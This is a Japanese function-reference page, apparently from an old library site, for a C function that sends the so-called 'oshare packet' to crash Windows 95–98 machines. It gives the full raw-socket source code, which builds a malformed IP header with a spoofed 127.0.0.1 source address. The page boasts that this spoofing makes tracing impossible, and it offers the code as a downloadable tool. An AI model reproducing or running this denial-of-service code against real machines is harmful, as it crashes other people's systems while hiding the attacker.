![]() |
send_oshare_packet
おしゃれパケット送信
[DOS Attack] [HedHat 5.2] |
|
形式 | int send_oshare_packet( int sock_send, u_long dst_addr ) |
include | sys/socket.h netinet/ip.h netinet/tcp.h(__FAVOR_BSDモード) arpa/inet.h |
内容 | Windows95〜98マシンをクラッシュさせる”おしゃれパケット”をdst_addrへ1パケット送信する。sock_sendには、RAWモードでオープンしたソケットディスクプリタを指定する。送信する際、発信元アドレスはローカルホスト(127.0.0.1)となっているので逆探知は不可能だが、その反面、ネットワークによってはフィルタリングされる可能性がある。また、同一セグメント内でしか使えない(おしゃれパケットの仕組みを参照の事)。 |
戻り値 | malloc()、memset()に失敗した場合は-2を返し、パケットの送信に成功した場合は送信バイト数を、失敗した場合は-1を返す。 |
ソースコード
int send_oshare_packet( int sock_send, u_long dst_addr ) { char *packet; int send_status; struct iphdr *ip; struct sockaddr_in to; packet = ( char *)malloc( 40 ); ip = ( struct iphdr *)( packet ); memset( packet, 0, 40 ); ip->version = 4; ip->ihl = 11; ip->tos = 0x00; ip->tot_len = htons( 44 ); ip->id = htons( 65535 ); ip->frag_off = htons( 16383 ); ip->ttl = 0xff; ip->protocol = IPPROTO_UDP; ip->saddr = htonl( inet_addr( "127.0.0.1" ) ); ip->daddr = dst_addr; ip->check = in_cksum( ( u_short *)ip, 40 ); to.sin_family = AF_INET; to.sin_port = htons( 0x123 ); to.sin_addr.s_addr = dst_addr; send_status = sendto( sock_send, packet, 40, 0, ( struct sockaddr *)&to, sizeof( struct sockaddr ) ); free( packet ); return( send_status ); } |
|
サンプル | おしゃれパケット仕組み |
ダウンロード | send_oshare_packet.c |